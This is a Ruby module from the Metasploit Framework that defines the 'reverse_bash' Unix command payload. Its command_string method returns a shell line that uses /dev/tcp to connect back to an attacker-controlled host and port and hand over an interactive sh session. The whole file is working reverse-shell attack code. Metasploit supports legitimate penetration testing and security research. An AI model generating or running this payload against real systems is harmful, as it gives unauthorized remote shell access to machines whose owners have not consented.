metasploit-framework/modules/payloads/singles/cmd/unix/reverse_bash.rb

52 lines
1.1 KiB
Ruby

require 'msf/core'
require 'msf/core/handler/reverse_tcp_double'
require 'msf/base/sessions/command_shell'
module Msf
module Payloads
module Singles
module Cmd
module Unix
module ReverseBash
include Msf::Payload::Single
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command, Double reverse TCP connection (/dev/tcp)',
'Version' => '$Revision$',
'Description' => 'Creates an interactive shell through two inbound connections',
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcpDouble,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd_bash',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
# Constructs the payload
#
def generate
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
return "exec 13<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']};sh <&13 >&13";
end
end
end end end end end